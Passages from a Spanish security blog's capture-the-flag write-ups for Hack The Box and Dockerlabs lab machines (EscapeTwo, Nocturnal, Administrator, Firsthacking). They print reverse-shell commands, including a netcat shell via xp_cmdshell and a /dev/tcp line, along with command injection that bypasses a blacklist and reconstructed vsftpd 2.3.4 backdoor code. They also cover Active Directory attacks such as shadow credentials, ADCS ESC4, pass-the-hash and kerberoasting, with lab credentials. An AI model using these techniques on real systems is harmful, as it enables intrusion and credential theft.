\u0026#34;/home/loaxert/Documentos/Sherlocks/Lockpick/archivos_decrypt/\u0026#34;, elemento_sin_extension, ), \u0026#34;wb\u0026#34;, ) as f: f.write(datos) print(f\u0026#34;Archivo desencriptado: {elemento_sin_extension}\u0026#34;) archivos_encriptados = seleccionar_archivos() decrypt() Ejecutando esto tendremos los archivos originales y podremos responder las preguntas del Sherlock sin ningún problema.\n","date":"27 junio 2025","externalUrl":null,"permalink":"/htb/sherlocks/lock-pick/","section":"Hack The Box","summary":"","title":"LockPick","type":"Sherlocks"},{"content":"","date":"27 junio 2025","externalUrl":null,"permalink":"/tags/malware-analisis/","section":"Tags","summary":"","title":"Malware Analisis","type":"tags"},{"content":"","date":"27 junio 2025","externalUrl":null,"permalink":"/tags/reversing/","section":"Tags","summary":"","title":"Reversing","type":"tags"},{"content":"","date":"27 junio 2025","externalUrl":null,"permalink":"/htb/sherlocks/","section":"Hack The Box","summary":"","title":"Sherlocks","type":"htb"},{"content":"","date":"27 junio 2025","externalUrl":null,"permalink":"/tags/xor/","section":"Tags","summary":"","title":"XOR","type":"tags"},{"content":"","date":"1 junio 2025","externalUrl":null,"permalink":"/tags/backdoor/","section":"Tags","summary":"","title":"Backdoor","type":"tags"},{"content":"","date":"1 junio 2025","externalUrl":null,"permalink":"/dockerlabs/","section":"Dockerlabs","summary":"","title":"Dockerlabs","type":"dockerlabs"},{"content":" Descripción: # Una “maquina” si se puede llamar así muy simple que explota una backdoor en el servicio FTP en la versión vsftpd 2.3.4, en la cual si nos conectamos con un usuario que contiene “:)” abre el puerto 6200 con privilegios de root.\nEnumeración # Con nmap vamos a escanear puertos, servicios y versiones:\nsudo nmap -p- --open -vvv --min-rate 5000 -sS -Pn -n {IP} -oG allPorts nmap -p21 -sVC -A {IP} -oN target Encontraremos el puerto 21 con un servicio FTP y la versión vsftp 2.3.4:\nPORT STATE SERVICE VERSION 21/tcp open ftp **vsftpd 2.3.4** MAC Address: 02:42:AC:11:00:02 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Unix vsftpd 2.3.4 # Buscando esta versión del servicio encontramos que es una versión bastante vieja en la cual encontramos que hubo una backdoor que al momento de ingresar el usuario si encuentra los siguientes caracteres :) abre el puerto 6200 con permisos root al cual nos podemos conectar usando nc y obteniendo control total del sistema:\nEn este caso la contraseña no tiene importancia.\nAnálisis CVE-2011-2523 # /* Backdoor añadida en vsftpd 2.3.4 (versión comprometida) */ static void vsf_sysutil_extra(void) { int listenfd = 0; int connfd = 0; struct sockaddr_in serv_addr = {0}; char *argv[] = { \u0026#34;/bin/sh\u0026#34;, 0 }; /* Crear socket */ listenfd = socket(AF_INET, SOCK_STREAM, 0); /* Configurar estructura de dirección */ serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(6200); // Puerto backdoor /* Enlazar y escuchar */ bind(listenfd, (struct sockaddr*)\u0026amp;serv_addr, sizeof(serv_addr)); listen(listenfd, 5); /* Aceptar conexión y redirigir I/O */ connfd = accept(listenfd, (struct sockaddr*)NULL, NULL); dup2(connfd, 0); // STDIN dup2(connfd, 1); // STDOUT dup2(connfd, 2); // STDERR /* Ejecutar shell interactiva */ execve(\u0026#34;/bin/sh\u0026#34;, argv, NULL); close(connfd); close(listenfd); } /* Trigger en la autenticación (archivo `postlogin.c`) */ if (strstr(p_sess-\u0026gt;user_str, \u0026#34;:)\u0026#34;)) { vsf_sysutil_extra(); // Activa la backdoor si el usuario contiene \u0026#34;:)\u0026#34; } Mecanismo de Activación: El código verifica si el nombre de usuario (p_sess-\u0026gt;user_str) contiene la cadena :). No hay validación de contraseña: Cualquier input en el campo de password activa la backdoor. Funcionamiento de la Backdoor: Crea un socket TCP en el puerto 6200 usando AF_INET (IPv4). listen() permite hasta 5 conexiones simultáneas. Al aceptar una conexión (accept()), redirige los descriptores de archivo: dup2(connfd, 0..2) conecta STDIN/STDOUT/STDERR al socket. Ejecuta /bin/sh con execve(), proporcionando una shell remota con privilegios de root (vsftpd suele ejecutarse como root). ","date":"1 junio 2025","externalUrl":null,"permalink":"/dockerlabs/firsthacking/","section":"Dockerlabs","summary":"","title":"Firsthacking","type":"docker"},{"content":"","date":"1 junio 2025","externalUrl":null,"permalink":"/tags/ftp/","section":"Tags","summary":"","title":"FTP","type":"tags"},{"content":"","date":"1 junio 2025","externalUrl":null,"permalink":"/tags/vsftp-2.3.4/","section":"Tags","summary":"","title":"Vsftp 2.3.4","type":"tags"},{"content":"","date":"24 mayo 2025","externalUrl":null,"permalink":"/tags/bloodhund/","section":"Tags","summary":"","title":"BloodHund","type":"tags"},{"content":"","date":"24 mayo 2025","externalUrl":null,"permalink":"/tags/esc4/","section":"Tags","summary":"","title":"ESC4","type":"tags"},{"content":" Descripción: # En esta maquina tendremos aspectos bastante interesantes como el uso deun xslx como un zip para esconder la información, el uso de mssql para montar una revshell y la explotación de dos vulnerabilidades WriteOwner y Shadow Credentials\nEnumeración # sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.93.128 -oG allports nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49696,49717,49737,63105 10.129.93.128 -oN target # Nmap 7.94SVN scan initiated Sat Jan 11 19:12:27 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49696,49717,49737,63105 -oN target 10.129.93.128 Nmap scan report for 10.129.93.128 Host is up (0.56s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-12 00:12:36Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::\u0026lt;unsupported\u0026gt;, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 |_ssl-date: 2025-01-12T00:14:20+00:00; 0s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-12T00:14:20+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::\u0026lt;unsupported\u0026gt;, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.129.93.128:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-01-11T21:52:07 |_Not valid after: 2055-01-11T21:52:07 |_ssl-date: 2025-01-12T00:14:20+00:00; 0s from scanner time. | ms-sql-info: | 10.129.93.128:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-12T00:14:20+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::\u0026lt;unsupported\u0026gt;, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-12T00:14:20+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::\u0026lt;unsupported\u0026gt;, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49686/tcp open msrpc Microsoft Windows RPC 49689/tcp open msrpc Microsoft Windows RPC 49696/tcp open msrpc Microsoft Windows RPC 49717/tcp open msrpc Microsoft Windows RPC 49737/tcp open msrpc Microsoft Windows RPC 63105/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2025-01-12T00:13:41 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jan 11 19:14:28 2025 -- 1 IP address (1 host up) scanned in 121.83 seconds De la enumeración inicial de puertos podemos ver que va a ser una maquina de AD por el puerto 88 que almacenaun kerberos otro puerto interesante que no siempre esta presente es el 1433 que tiene un servicio mssql.\nnxc smb 10.129.93.128 -u rose -p \u0026#39;KxEPkKe6R8su\u0026#39; --users Con netexec vamos a listar tanto los usuarios como las politicas de las contraseñas, en la primera podemos ver que hay 9 usuarios donde dos de esos son de servicio y podemos ver un usuario de servicio llamado ca_svc lo que nos indica que muy probablemente para el escalado a root lo vamos a tener que hacer mediante este usuario ya que generalmente esta asociado a Certificate Authority (CA) que es el servicio que se encarga de emitir y gestionar los certificados.\nnxc smb 10.129.93.128 -u rose -p \u0026#39;KxEPkKe6R8su\u0026#39; --pass-pol Listamos politicas de contraseñas y podemos ver que la complejidad esta desactivada y podemos hacer fuerza bruta a los usuarios debido a que el Account Lockout Threshold esta desactivado.\nsmbclient -L 10.129.93.128 -U rose Con el siguiente comando vamos a listar los recursos que estan compartidos en la maquina a ver si conseguimos algo que nos pueda ser util.\nYa sabiando que recursos estan compartidos vamos a tratar de acceder a Accounting Department.\nsmbclient //10.129.93.128/Accounting\\ Department -U rose Cuando ingresamos y listamos los archivos presentes vemos dos Hojas de calculo xslx por lo que las vamos a descargar a nuestra maquina con el comando get “nombre del archivo”.\nSi intentamos abrir estos archivos de forma normal veremos que no hay nada legible en ellos, despues de investigar un poco encontramos que un xslx se comporta como un tipo de archivo comprimido y hay un archivo que guarda las celdas en texto plano por lo que vamos a descomprimirlo y abrir dicho archivo.\n7z x accounts.xslx cat xl/sharedStrings.xml Vamos a revisar el archivo xl/sharedStrings.xml y ahi vamos a encontrar diferentes usuarios y contraseñas, entre ellas destaca una contraseña debido a que hace referencia al servicio mssql por lo que con ese usuario y contraseña vamos a ingresar a dicho servicio.\nFoothold # impacket-mssqlclient sa@IP Ya dentro del servicio de mssql lo que vamos a hacer es activar la opcion para ejecutar algunos comandos y así conseguir una revershell luego.\n#En mssql enable_xp_cmdshell; RECONFIGURE; #En kali sudo apt install windows-binaries cp /usr/share/windows-binaries/nc.exe python3 -m http.server 8000 #En mssql xp_cmdshell \u0026#34;powershell -c cd C:\\Users\\sql_svc\\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe\u0026#34; #En kali nc -lvnp 4444 #En mssql xp_cmdshell \u0026#34;powershell -c cd C:\\Users\\sql_svc\\Downloads; .\\nc.exe -e cmd.exe 10.10.16.21 4444\u0026#34; Listo ya con esto podemos ver que tenemos una consola por lo que ahora vamos a investigar para poder allar la forma de iniciar sesion en un usuario con mas privilegios.\nDespues de buscar un poco por la maquina encontramos un archivo donde se encontraba una contraseña, el archivo esta ubicado en C:\\SQL2019\\ExpressAdv_ENU y se llama sql-configuration.ini.\nYa con esa contraseña lo que vamos a intentar es un password spraying para ver si tambien la tiene algun otro usuario.\nnxc smb 192.168.1.101 -u /path/to/users.txt -p \u0026#34;password\u0026#34; Despues de ejecutar el anterior comando nos dira que la contraseña tambien es util para ryan y si iniciamos sesion con evil-winrm y nos dirigimos al Desktop tendremos la flag de usuario.\nLateral Movement # Con bloodhund podemos ver que tenemos permisos para hacer un writeowner desde ryan a ca_svc por lo que vamos a usar impacket y certipy. Vamos a seguir los pasos de kali para esto https://www.kali.org/tools/bloodhound/.\nsudo neo4j bloodhound-python -u \u0026#39;ryan\u0026#39; -p \u0026#39;password\u0026#39; -ns ip -d sequel.htb -c all neo4j bloodhund Despues de cargar los archivos que nos debio dejar el comando bloodhund-python al bloodhund podremos buscar a nuestro usuario ryan, y veremos que podemos conseguir otro usuario el cual seria ca_svc mediate un WriteOwner si bien hay diferentes formas de explotar esto nosotros lo vamos a hacer mediante un shadow credentials.\nVamos a asegurarnos de ejecutar los comandos lo mas rapido posible debido a que sino la maquina no nos dejara ejecutar el shadow credentiasl, los dos primeros comandos se ejecutan con el fin de modificar el propietario del usuario ca_svc para poder tener todos los permisos sobre este usuario.\nimpacket-owneredit -action write -new-owner ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 impacket-dacledit -action \u0026#39;write\u0026#39; -rights \u0026#39;FullControl\u0026#39; -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 #Instalar certipy python3 -m venv env source env/bin/activate pip3 install certipy-ad certipy shadow auto -username ryan@sequel.htb -p WqSZAF6CysDQbGb3 -account ca_svc Con esto habremos conseguido el hash para ca_svc y podremos hacer un passhash 3b181b914e7a9d5508ea1e20bc2b7fce\nPrivilege Escalation # Ya con el hash del usuario ca_svc vamos a revisar los certificados esperando alguna mala configuración que nos permita escalar privilegios para eso vamos a ejecutar el siguiente comando:\ncertipy find -dc-ip 10.10.11.41 -u ca_svc -hashes \u0026#34;hash\u0026#34; Esto nos va a dejar un txt que si lo abrimos y revisamos nos daremos cuenta que hay una vulnerabilidad ESC4 con una template DunderMifflinAuthentication lo que vamos a hacer ahora con los siguientes comandos es modificar el certificado para que sea vulnerable a ESC1 y luego solicitar el certificado de otro UPN (User Principal Name) como si fueramos nosotros y con esto robarle el hash.\ncertipy template -username ca@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -save-old certipy req -username ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target 10.129.93.128 -template DunderMifflinAuthentication -upn administrator@sequel.htb -dns dc.sequel.htb Ya con el certificado en nuestra maquina vamos a extraer el hash y a conectarnos como administrators con el hash para poder obtener la flag de root.\ncertipy auth -pfx administrator_dc.pfx -domain sequel.htb -username administrator -dc-ip 10.129.1.209 evil-winrm -i 10.129.93.128 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff Listo root easy.\n","date":"24 mayo 2025","externalUrl":null,"permalink":"/htb/maquinas/escapetwo/","section":"Hack The Box","summary":"","title":"EscapeTwo","type":"maquinas"},{"content":"","date":"24 mayo 2025","externalUrl":null,"permalink":"/tags/shadow-credentials/","section":"Tags","summary":"","title":"Shadow Credentials","type":"tags"},{"content":"","date":"24 mayo 2025","externalUrl":null,"permalink":"/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":"","date":"11 mayo 2025","externalUrl":null,"permalink":"/tags/analisis-de-codigo/","section":"Tags","summary":"","title":"Analisis-De-Codigo","type":"tags"},{"content":"","date":"11 mayo 2025","externalUrl":null,"permalink":"/tags/caido/","section":"Tags","summary":"","title":"Caido","type":"tags"},{"content":"","date":"11 mayo 2025","externalUrl":null,"permalink":"/tags/ispconfig/","section":"Tags","summary":"","title":"ISPCONFIG","type":"tags"},{"content":" Descripción # Una maquina que aunque sencilla nos sirve para practicar algunas cosas esenciales como lo pueden ser la interceptación de peticiones, el análisis de código y el port fowarding.\nEnumeración # Lo primero que siempre hacemos es enumerar los puertos que una maquina tiene abiertos para ello usamos el siguiente comando de nmap:\nsudo nmap -p- --open --min-rate 5000 -sS -Pn -n 10.10.11.64 -oG allPorts -p-: Escanea todos los puertos (1-65535). –open: Solo muestra los puertos abiertos. –min-rate 5000: Establece una tasa mínima de paquetes por segundo. sS: Realiza un escaneo SYN “sigiloso”. Pn: No hace ping (asume que el host está activo). n: No realiza resolución DNS. oG allPorts: Guarda la salida en formato grepeable en el archivo allPorts. Con esto podremos ver que esta el puerto 80 abierto por lo que vamos a intentar ver brevemente la pagina web que esta en el puerto ya que este corresponde al servicio http , para esto vamos a usar whatweb :\nwhatweb 10.10.11.64 Vemos que esta corriendo en Ubuntu y que tiene un redireccionamiento hacia nocturnal.htb por lo que lo vamos a agregar al /etc/hosts .\nsudo nano /etc/hosts Después de haber hecho esto vamos a usar nmap para hacer un escaneo mas a fondo de los dos puertos que nos mostro abiertos el 22 y el 80.\nnmap -p22,80 -sVC -A 10.10.11.64 -oN target p22,80: Escanea específicamente los puertos 22 y 80. sVC: Combina las opciones -sV (detección de versión) y -sC (scripts por defecto). A: Habilita la detección de OS, versiones, scripts y traceroute. oN target: Guarda la salida en formato normal en el archivo target. Puerto 80 # Encontraremos una pagina bastante simple que al parecer nos permite primero que todo registrarnos e iniciar sesión, la funcionalidad de la pagina es cargar y ver archivos Word, Excel y PDF lo primero que podemos probar es ingresar con usuarios y contraseñas predecibles, pero no nos funcionara por lo que nos crearemos una cuenta.\nAl momento de iniciar sesión con nuestra cuenta nos mostrara la pagina para subir los archivos y presuntamente visualizarlos, si indagar mucho ahora sabemos que esta usando php de fondo debido a la URL que nos muestra:\nCon este conocimiento vamos a tratar de hallar subdominios y subdirectorios para ello vamos a usar gobuster y los diccionarios de seclists :\ngobuster dir -u http://nocturnal.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --no-error -t 200 -x php Con este comando estamos probando cada palabra en el diccionario como un subdirectorio además de esto también probamos agregándole la extensión .php todo esto usando 200 hilos gracias al parámetro -t , lo que nos mostrara el comando será lo siguiente:\ngobuster vhost -u http://nocturnal.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 200 --append-domain --no-error -r Para hallar subdominios el comando cambia un poco pero es bastante similar pero de este no obtendremos ningún resultado.\nVolviendo a la carga de archivos podemos subir el archivo y descargarlo:\nSi interceptamos esta solicitud para descargar el archivo con caido veremos lo siguiente:\nSi lo mandamos al replay usando el comando ctrl+r y enviamos la solicitud para ver cual es la respuesta tendremos lo siguiente:\nSi cambiamos el archivo nos dirá que no existe dicho archivo pero aún mas interesante es que si cambiamos el usuario nos dice que el usuario no existe de esta forma tenemos un camino posible para listar usuarios, que es lo que vamos a hacer con caido usando un diccionario:\nLo primero que vamos a hacer es clic derecho sobre nuestra request y vamos a mandarla a Automate luego de hacer esto vamos a seleccionar el usuario que enviamos en nuestra petición y le vamos a dar al siguiente símbolo mas:\nLo siguiente que vamos a hacer es dirigirnos a la pestaña Files y subir un diccionario de usuario como por ejemplo el que esta en la ruta /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt .\nVolvemos a la pestaña Automate y en la payload ponemos el archivo que acabamos de subir y ponemos a correr la fuerza bruta con Run .\nDespués de esto nos van a quedar bastantes solicitudes pero podremos observar un patrón por lo que lo podemos filtrar de la siguiente forma:\nLo que hicimos fue filtrar por la longitud de la respuesta siempre que fuera diferente a 3268 nos iba a mostrar el resultado y aquí vemos 3 opciones admin amanda y jhon por lo que pudimos realizar de forma exitosa el descubrimiento de usuarios.\nSi volvemos a la pestaña de replay y cambiamos el usuario a amanda veremos los archivos que tiene disponibles para descargar entre ellos uno llamado privacy.odt:\nSi iniciamos sesión en la pagina y entramos el siguiente link en el navegador podremos descargar este archivo y revisarlo http://nocturnal.htb/view.php?username=amanda\u0026amp;file=privacy.odt .\nSi abrimos el archivo mediante el explorador de archivos que tiene Kali podremos ver que hay diferentes archivos dentro revisando cada uno de ellos encontramos la contraseña de amanda en el archivo llamado content.xml .\nPanel admin # Ya con las credenciales de amandapodemos entrar al panel de administrador de la pagina donde se encuentra expuesta toda la lógica de la pagina mediante los archivos de su backend entre ellos podemos ver como esta listando los archivos de extensión php con el siguiente codigo:\nfunction listPhpFiles($dir) { $files = array_diff(scandir($dir), [\u0026#39;.\u0026#39;, \u0026#39;..\u0026#39;]); echo \u0026#34;\u0026lt;ul class=\u0026#39;file-list\u0026#39;\u0026gt;\u0026#34;; foreach ($files as $file) { $sanitizedFile = sanitizeFilePath($file); if (is_dir($dir . \u0026#39;/\u0026#39; . $sanitizedFile)) { // Recursively call to list files inside directories echo \u0026#34;\u0026lt;li class=\u0026#39;folder\u0026#39;\u0026gt;📁 \u0026lt;strong\u0026gt;\u0026#34; . htmlspecialchars($sanitizedFile) . \u0026#34;\u0026lt;/strong\u0026gt;\u0026#34;; echo \u0026#34;\u0026lt;ul\u0026gt;\u0026#34;; listPhpFiles($dir . \u0026#39;/\u0026#39; . $sanitizedFile); echo \u0026#34;\u0026lt;/ul\u0026gt;\u0026lt;/li\u0026gt;\u0026#34;; } else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === \u0026#39;php\u0026#39;) { // Show only PHP files echo \u0026#34;\u0026lt;li class=\u0026#39;file\u0026#39;\u0026gt;📄 \u0026lt;a href=\u0026#39;admin.php?view=\u0026#34; . urlencode($sanitizedFile) . \u0026#34;\u0026#39;\u0026gt;\u0026#34; . htmlspecialchars($sanitizedFile) . \u0026#34;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\u0026#34;; } } echo \u0026#34;\u0026lt;/ul\u0026gt;\u0026#34;; } También hay un intento de sanitizar las entradas:\nfunction cleanEntry($entry) { $blacklist_chars = [\u0026#39;;\u0026#39;, \u0026#39;\u0026amp;\u0026#39;, \u0026#39;|\u0026#39;, \u0026#39;$\u0026#39;, \u0026#39; \u0026#39;, \u0026#39;`\u0026#39;, \u0026#39;{\u0026#39;, \u0026#39;}\u0026#39;, \u0026#39;\u0026amp;\u0026amp;\u0026#39;]; foreach ($blacklist_chars as $char) { if (strpos($entry, $char) !== false) { return false; // Malicious input detected } } return htmlspecialchars($entry, ENT_QUOTES, \u0026#39;UTF-8\u0026#39;); } Pero no limpia las entradas como nueva líneas %0a y \\n o el tab horizontal %09 y \\t , y aquí es donde entra la vulnerabilidad en el sistema de backups de la pagina, la cual crea una Shell de comandos, si interceptamos la petición para crear el backup veremos lo siguiente:\nPor lo que teniendo conocimiento de las entradas que no limpia podemos intentar inyectar de alguna forma comandos, como lo es la siguiente:\nCon esto en conocimiento podemos tratar de montar una revshell, de la siguiente manera vamos a crear un archivo llamado revshell.sh con el siguiente contenido:\nsh -i \u0026gt;\u0026amp; /dev/tcp/IP/4444 0\u0026gt;\u0026amp;1 # En consola vamos a ejecutar el siguiente comando: python3 -m http.server Y ya lo siguiente seria con la petición que habíamos interceptado, de modo que vamos a descargar la rever Shell que tenemos en nuestra maquina y la vamos a ejecutar con bash:\nUser # Revisando los archivos dentro del directorio /var/www/ encontramos una base de datos Sqlite3 su ruta exacta es /var/www/nocturnal_database/nocturnal_database.db de modo que si la abrimos con sqllite3 podemos hallar los hashes de varios usuarios:\nSi nos dirigimos a la pagina de crackstation podremos romper dos de estos hashes:\nSi nos conectamos por ssh al usuario tobias tendremos la flag de usuario.\nRoot # Ya desde este punto lo primero que vamos a mirar son las mismas posibilidades para el escalamiento de privilegios de siempre como los permisos sudo o las crontabs; en este caso no hay permisos de ejecutar sudo ni hay una crontab que nos sirva, por lo que revisamos los puertos locales con el siguiente comando:\nss -lantp Podemos observar un puerto 8080 en escucha entonces lo vamos a intentar montar con un port forwarding :\nssh -L {port}:localhost:8080 tobias@nocturnal.htb # Asegurate de que el puerto que vayas a usar no este en uso Ya con esto podremos ingresar al servicio desde nuestro navegador:\nSi probamos diferentes combinaciones con las credenciales que ya teníamos resulta que el usuario y la contraseña son admin:slowmotionapocalypse y con esto podemos ingresar en la sección de ayuda encontraremos la versión del ispconfig la cual podremos buscar para explotar alguna vulnerabilidad.\nhttps://github.com/ajdumanhug/CVE-2023-46818\nEncontramos este repositorio en GitHub que nos ayuda a conseguir una Shell mediante una inyección en base64 al archivo language_edit.php , si lo ejecutamos proporcionando el usuario la contraseña y la URL para iniciar sesión podremos obtener una Shell:\nY con esto seremos root y tendremos la ultima flag.\n","date":"11 mayo 2025","externalUrl":null,"permalink":"/htb/maquinas/nocturnal/","section":"Hack The Box","summary":"","title":"Nocturnal","type":"maquinas"},{"content":"","date":"11 mayo 2025","externalUrl":null,"permalink":"/tags/port-fowarding/","section":"Tags","summary":"","title":"Port-Fowarding","type":"tags"},{"content":"","date":"11 mayo 2025","externalUrl":null,"permalink":"/tags/sqlite3/","section":"Tags","summary":"","title":"Sqlite3","type":"tags"},{"content":" Enumeración # sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.42 -oG allPorts nmap -sCV -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,59464,59475,59480,59483,59502,64101 10.10.11.42 -oN target Con cualquiera de los siguientes dos comandos podemos identificar de diferentes maneras los usuarios que hay en la máquina.\ncrackmapexec smb 10.10.11.42 -u \u0026#39;Olivia\u0026#39; -p \u0026#39;ichliebedich\u0026#39; -d Administrator.htb --rid-brute nxc smb 10.10.11.42 -u Olivia -p ichliebedich --users Vamos a listar las configuraciones y los protocolos que se aplican a la máquina con el comando:\nnxc smb 10.10.11.42 -u olivia -p ichliebedich --pass-pol La enumeración de la política de contraseñas muestra que la longitud mínima de la contraseña es de 7 caracteres, la complejidad de la contraseña está desactivada (lo que significa que los usuarios pueden elegir contraseñas cortas y débiles) y, lo más importante, la opción Account Lockout Threshold está desactivada, lo que significa que podemos forzar la cuenta sin temer que se quede bloqueada.\nBloodhund # Vamos a usar una herramienta llamada BloodHound que nos va a ayudar a encontrar vulnerabilidades para saltar de un usuario a otro y, finalmente, hacer el escalamiento de privilegios. Para instalarla y configurarla, sigue este paso a paso https://www.kali.org/tools/bloodhound/.\nbloodhound-python -u olivia -p ichliebedich -ns 10.10.11.42 -d administrator.htb -c all Después de subir los archivos que nos generó el comando y buscar al usuario al cual tenemos acceso, podemos ver que en Outbound Object Control tenemos la opción de saltar a otro usuario, en este caso michael@administrator.htb, y de este a benjamin@administrator.htb.\nDado esto, vemos que tenemos privilegios GenericAll, lo que nos permite realizar un Force Change Password, que es lo que vamos a intentar.\nnet rpc password michael \u0026#34;newpass\u0026#34; -U administrator.htb/olivia%ichliebedich -S administrator.htb pth-net rpc password michael \u0026#34;newpass\u0026#34; -U administrator.htb/Olivia%ffffffffffffffffffffffffffffffff:FBAA3E2294376DC0F5AEB6B41FFA52B7 -S administrator.htb El hash FBAA3E2294376DC0F5AEB6B41FFA52B7 salió de pasarle la contraseña de Olivia a este algoritmo de hash https://www.browserling.com/tools/ntlm-hash\nCon esto, hemos cambiado la contraseña de Michael y procederemos a saltar al usuario Benjamin, lo cual sigue el mismo proceso, pero cambiando las credenciales.\nnet rpc password benjamin \u0026#34;newpass\u0026#34; -U administrator.htb/michael%\u0026#34;passmichael\u0026#34; -S administrator.htb pth-net rpc password benjamin 11030221 -U administrator.htb/michael%ffffffffffffffffffffffffffffffff:\u0026#34;hashmichael\u0026#34; -S administrator.htb Luego de esto, nos vamos a conectar por FTP como Benjamin y descargar un archivo que está en el directorio en el que ingresamos con el comando get.\nftp 10.10.11.42@benjamin get Backup.psafe3 User # Si investigamos un poco, nos daremos cuenta de que es un hash y que lo podemos descifrar con Hashcat.\nhashcat -m 5200 -a 0 Backup.psafe3 /usr/share/wordlist/rockyou.txt --force Con la contraseña que nos dejó el hash, vamos a abrir el psafe3.\npwsafe Backup.psafe3 Con las contraseñas del archivo podemos ingresar como emily para obtener la flag de usuario.\nRoot # En BloodHound vemos que el único de los tres usuarios que conseguimos puede hacer algo, y ese es Emily. Entonces, vamos a seguir lo que nos dice para un Targeted Kerberoast aunque tambien lo podriamos hacer con Netexec.\nfaketime \u0026#34;$(ntpdate -q administrator.htb | cut -d \u0026#39; \u0026#39; -f 1,2)\u0026#34; python3 targetedKerberoast.py -v -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb faketime \u0026#34;$(ntpdate -q administrator.htb | cut -d \u0026#39; \u0026#39; -f 1,2)\u0026#34; nxc ldap 10.10.11.42 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb --kerberoasting output.txt Esto nos deja un hash Kerberos 5 que podemos descifrar con Hashcat, y esa contraseña es la de Ethan.\nhashcat -m13100 output.txt 